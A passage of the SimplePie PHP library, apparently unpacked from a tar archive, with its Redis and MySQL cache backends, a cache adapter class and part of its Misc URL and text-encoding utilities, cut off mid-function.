// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Redis as NativeRedis;

/**
 * Caches data to redis
 *
 * Registered for URLs with the "redis" protocol
 *
 * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
 * connect to redis on `localhost` on port 6379. All tables will be
 * prefixed with `simple_primary-` and data will expire after 3600 seconds
 *
 * @uses Redis
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Redis implements Base
{
    /**
     * Redis instance
     *
     * @var NativeRedis
     */
    protected $cache;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE|array<string, mixed>|null $options Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $options = null)
    {
        //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
        $parsed = \SimplePie\Cache::parse_URL($location);
        $redis = new NativeRedis();
        $redis->connect($parsed['host'], $parsed['port']);
        if (isset($parsed['pass'])) {
            $redis->auth($parsed['pass']);
        }
        if (isset($parsed['path'])) {
            $redis->select((int)substr($parsed['path'], 1));
        }
        $this->cache = $redis;

        if (!is_null($options) && is_array($options)) {
            $this->options = $options;
        } else {
            $this->options = [
                'prefix' => 'rss:simple_primary:',
                'expire' => 0,
            ];
        }

        $this->name = $this->options['prefix'] . $name;
    }

    /**
     * @param NativeRedis $cache
     * @return void
     */
    public function setRedisClient(NativeRedis $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        $response = $this->cache->set($this->name, serialize($data));
        if ($this->options['expire']) {
            $this->cache->expire($this->name, $this->options['expire']);
        }

        return $response;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            $return = $this->cache->set($this->name, $data);
            if ($this->options['expire']) {
                return $this->cache->expire($this->name, $this->options['expire']);
            }
            return $return;
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->set($this->name, null);
    }
}

class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis');
Cache/BaseDataCache.php000064400000007003152222652070010653 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Adapter for deprecated \SimplePie\Cache\Base implementations
 *
 * @internal
 */
final class BaseDataCache implements DataCache
{
    /**
     * @var Base
     */
    private $cache;

    public function __construct(Base $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->load();

        if (!is_array($data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is not set
        if (!array_key_exists('__cache_expiration_time', $data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is expired
        if ($data['__cache_expiration_time'] < time()) {
            return $default;
        }

        // remove internal cache expiration time
        unset($data['__cache_expiration_time']);

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        if ($ttl === null) {
            $ttl = 3600;
        }

        // place internal cache expiration time
        $value['__cache_expiration_time'] = time() + $ttl;

        return $this->cache->save($value);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->unlink();
    }
}
Cache/MySQL.php000064400000032607152222652070007240 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class MySQL extends DB
{
    /**
     * PDO instance
     *
     * @var \PDO|null
     */
    protected $mysql;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache ID
     *
     * @var string
     */
    protected $id;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'user' => null,
            'pass' => null,
            'host' => '127.0.0.1',
            'port' => '3306',
            'path' => '',
            'extras' => [
                'prefix' => '',
                'cache_purge_time' => 2592000
            ],
        ];

        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        // Path is prefixed with a "/"
        $this->options['dbname'] = substr($this->options['path'], 1);

        try {
            $this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']);
        } catch (\PDOException $e) {
            $this->mysql = null;
            return;
        }

        $this->id = $name . $type;

        if (!$query = $this->mysql->query('SHOW TABLES')) {
            $this->mysql = null;
            return;
        }

        $db = [];
        while ($row = $query->fetchColumn()) {
            $db[] = $row;
        }

        if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }

        if (!in_array($this->options['extras']['prefix'] . 'items', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }
    }

    /**
     * Save data to the cache
     *
     * @param array<string>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
            '`' . $this->options['extras']['prefix'] . 'items` i ' .
            'WHERE cd.id = i.feed_id ' .
            'AND cd.mtime < (unix_timestamp() - :purge_time)');
        $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);

        if (!$query->execute()) {
            return false;
        }

        if ($data instanceof \SimplePie\SimplePie) {
            $data = clone $data;

            $prepared = self::prepare_simplepie_object_for_cache($data);

            $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->fetchColumn() > 0) {
                    $items = count($prepared[1]);
                    if ($items) {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                        $query->bindValue(':items', $items);
                    } else {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                    }

                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if (!$query->execute()) {
                        return false;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
                    $query->bindValue(':feed', $this->id);
                    $query->bindValue(':count', count($prepared[1]));
                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    if (!$query->execute()) {
                        return false;
                    }
                }

                $ids = array_keys($prepared[1]);
                if (!empty($ids)) {
                    foreach ($ids as $id) {
                        $database_ids[] = $this->mysql->quote($id);
                    }

                    $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
                    $query->bindValue(':feed', $this->id);

                    if ($query->execute()) {
                        $existing_ids = [];
                        while ($row = $query->fetchColumn()) {
                            $existing_ids[] = $row;
                        }

                        $new_ids = array_diff($ids, $existing_ids);

                        foreach ($new_ids as $new_id) {
                            if (!($date = $prepared[1][$new_id]->get_date('U'))) {
                                $date = time();
                            }

                            $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
                            $query->bindValue(':feed', $this->id);
                            $query->bindValue(':id', $new_id);
                            $query->bindValue(':data', serialize($prepared[1][$new_id]->data));
                            $query->bindValue(':date', $date);
                            if (!$query->execute()) {
                                return false;
                            }
                        }
                        return true;
                    }
                } else {
                    return true;
                }
            }
        } else {
            $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->rowCount() > 0) {
                    $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        return true;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
                    $query->bindValue(':id', $this->id);
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    if ($query->execute()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<string>|false Data for SimplePie::$data
     */
    public function load()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($row = $query->fetch())) {
            $data = unserialize($row[1]);

            if (isset($this->options['items'][0])) {
                $items = (int) $this->options['items'][0];
            } else {
                $items = (int) $row[0];
            }

            if ($items !== 0) {
                if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0];
                } else {
                    $feed = null;
                }

                if ($feed !== null) {
                    $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
                    if ($items > 0) {
                        $sql .= ' LIMIT ' . $items;
                    }

                    $query = $this->mysql->prepare($sql);
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        while ($row = $query->fetchColumn()) {
                            $feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize((string) $row);
                        }
                    } else {
                        return false;
                    }
                }
            }
            return $data;
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($time = $query->fetchColumn())) {
            return (int) $time;
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
        $query->bindValue(':time', time());
        $query->bindValue(':id', $this->id);

        return $query->execute() && $query->rowCount() > 0;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
        $query2->bindValue(':id', $this->id);

        return $query->execute() && $query2->execute();
    }
}

class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL');
Misc.php000064400000210245152222652070006157 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\XML\Declaration\Parser;

/**
 * Miscellaneous utilities
 */
class Misc
{
    /** @var int|null */
    private static $SIMPLEPIE_BUILD = null;

    /**
     * @return string
     */
    public static function time_hms(int $seconds)
    {
        $time = '';

        $hours = floor($seconds / 3600);
        $remainder = $seconds % 3600;
        if ($hours > 0) {
            $time .= $hours.':';
        }

        $minutes = floor($remainder / 60);
        $seconds = $remainder % 60;
        if ($minutes < 10 && $hours > 0) {
            $minutes = '0' . $minutes;
        }
        if ($seconds < 10) {
            $seconds = '0' . $seconds;
        }

        $time .= $minutes.':';
        $time .= $seconds;

        return $time;
    }

    /**
     * @return string|false
     */
    public static function absolutize_url(string $relative, string $base)
    {
        $iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative);
        if ($iri === false) {
            return false;
        }
        return $iri->get_uri();
    }

    /**
     * @internal
     */
    public static function is_remote_uri(string $uri): bool
    {
        return preg_match('/^https?:\/\//i', $uri) === 1;
    }

    /**
     * Get a HTML/XML element from a HTML string
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead (parsing HTML with regex is bad!)
     * @param string $realname Element name (including namespace prefix if applicable)
     * @param string $string HTML document
     * @return array<array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content?: string}>
     */
    public static function get_element(string $realname, string $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $return = [];
        $name = preg_quote($realname, '/');
        if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
            for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) {
                $return[$i]['tag'] = $realname;
                $return[$i]['full'] = $matches[$i][0][0];
                $return[$i]['offset'] = $matches[$i][0][1];
                if (strlen($matches[$i][3][0]) <= 2) {
                    $return[$i]['self_closing'] = true;
                } else {
                    $return[$i]['self_closing'] = false;
                    $return[$i]['content'] = $matches[$i][4][0];
                }
                $return[$i]['attribs'] = [];
                if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) {
                    foreach ($attribs as $attrib) {
                        if (count($attrib) === 2) {
                            $attrib[2] = $attrib[1];
                        }
                        $return[$i]['attribs'][strtolower($attrib[1])]['data'] = Misc::entities_decode(end($attrib));
                    }
                }
            }
        }
        return $return;
    }

    /**
     * @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
     * @param array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content: string} $element
     * @return string
     */
    public static function element_implode(array $element)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $full = "<{$element['tag']}";
        foreach ($element['attribs'] as $key => $value) {
            $key = strtolower($key);
            $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
        }
        if ($element['self_closing']) {
            $full .= ' />';
        } else {
            $full .= ">{$element['content']}</{$element['tag']}>";
        }
        return $full;
    }

    /**
     * @param string $message
     * @param int $level
     * @param string $file
     * @param int $line
     * @return string
     */
    public static function error(string $message, int $level, string $file, int $line)
    {
        if ((error_reporting() & $level) > 0) {
            switch ($level) {
                case E_USER_ERROR:
                    $note = 'PHP Error';
                    break;
                case E_USER_WARNING:
                    $note = 'PHP Warning';
                    break;
                case E_USER_NOTICE:
                    $note = 'PHP Notice';
                    break;
                default:
                    $note = 'Unknown Error';
                    break;
            }

            $log_error = true;
            if (!function_exists('error_log')) {
                $log_error = false;
            }

            $log_file = @ini_get('error_log');
            if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) {
                $log_error = false;
            }

            if ($log_error) {
                @error_log("$note: $message in $file on line $line", 0);
            }
        }

        return $message;
    }

    /**
     * @return string
     */
    public static function fix_protocol(string $url, int $http = 1)
    {
        $url = Misc::normalize_url($url);
        $parsed = Misc::parse_url($url);
        if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
        }

        if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
        }

        if ($http === 2 && $parsed['scheme'] !== '') {
            return "feed:$url";
        } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'podcast', 0, 4);
        } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'itpc', 0, 4);
        }

        return $url;
    }

    /**
     * @deprecated since SimplePie 1.8.0, use PHP native array_replace_recursive() instead.
     * @param array<mixed> $array1
     * @param array<mixed> $array2
     * @return array<mixed>
     */
    public static function array_merge_recursive(array $array1, array $array2)
    {
        foreach ($array2 as $key => $value) {
            if (is_array($value)) {
                $array1[$key] = Misc::array_merge_recursive($array1[$key], $value);
            } else {
                $array1[$key] = $value;
            }
        }

        return $array1;
    }

    /**
     * @return array<string, string>
     */
    public static function parse_url(string $url)
    {
        $iri = new \SimplePie\IRI($url);
        return [
            'scheme' => (string) $iri->scheme,
            'authority' => (string) $iri->authority,
            'path' => (string) $iri->path,
            'query' => (string) $iri->query,
            'fragment' => (string) $iri->fragment
        ];
    }

    /**
     * @return string
     */
    public static function compress_parse_url(string $scheme = '', string $authority = '', string $path = '', string $query = '', ?string $fragment = '')
    {
        $iri = new \SimplePie\IRI('');
        $iri->scheme = $scheme;
        $iri->authority = $authority;
        $iri->path = $path;
        $iri->query = $query;
        $iri->fragment = $fragment;
        return $iri->get_uri();
    }

    /**
     * @return string
     */
    public static function normalize_url(string $url)
    {
        $iri = new \SimplePie\IRI($url);
        return $iri->get_uri();
    }

    /**
     * @deprecated since SimplePie 1.9.0. This functionality is part of `IRI` – if you need it standalone, consider copying the function to your codebase.
     * @param array<int, string> $match
     * @return string
     */
    public static function percent_encoding_normalization(array $match)
    {
        $integer = hexdec($match[1]);
        if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) {
            // Cast for PHPStan, the value would only be float when above PHP_INT_MAX, which would not go in this branch.
            return chr((int) $integer);
        }

        return strtoupper($match[0]);
    }

    /**
     * Converts a Windows-1252 encoded string to a UTF-8 encoded string
     *
     * @static
     * @param string $string Windows-1252 encoded string
     * @return string UTF-8 encoded string
     */
    public static function windows_1252_to_utf8(string $string)
    {
        static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"];

        return strtr($string, $convert_table);
    }

    /**
     * Change a string from one encoding to another
     *
     * @param string $data Raw data in $input encoding
     * @param string $input Encoding of $data
     * @param string $output Encoding you want
     * @return string|false False if we can't convert it
     */
    public static function change_encoding(string $data, string $input, string $output)
    {
        $input = Misc::encoding($input);
        $output = Misc::encoding($output);

        // We fail to fail on non US-ASCII bytes
        if ($input === 'US-ASCII') {
            static $non_ascii_octets = '';
            if (!$non_ascii_octets) {
                for ($i = 0x80; $i <= 0xFF; $i++) {
                    $non_ascii_octets .= chr($i);
                }
            }
            $data = substr($data, 0, strcspn($data, $non_ascii_octets));
        }

        // This is first, as behaviour of this is completely predictable
        if ($input === 'windows-1252' && $output === 'UTF-8') {
            return Misc::windows_1252_to_utf8($data);
        }
        // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
        elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) {
            return $return;
        }
        // This is third, as behaviour of this varies with OS userland and PHP version
        elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) {
            return $return;
        }
        // This is last, as behaviour of this varies with OS userland and PHP version
        elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) {
            return $return;
        }

        // If we can't do anything, just fail
        return false;
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_mbstring(string $data, string $input, string $output)
    {
        if ($input === 'windows-949') {
            $input = 'EUC-KR';
        }
        if ($output === 'windows-949') {
            $output = 'EUC-KR';
        }
        if ($input === 'Windows-31J') {
            $input = 'SJIS';
        }
        if ($output === 'Windows-31J') {
            $output = 'SJIS';
        }

        // Check that the encoding is supported
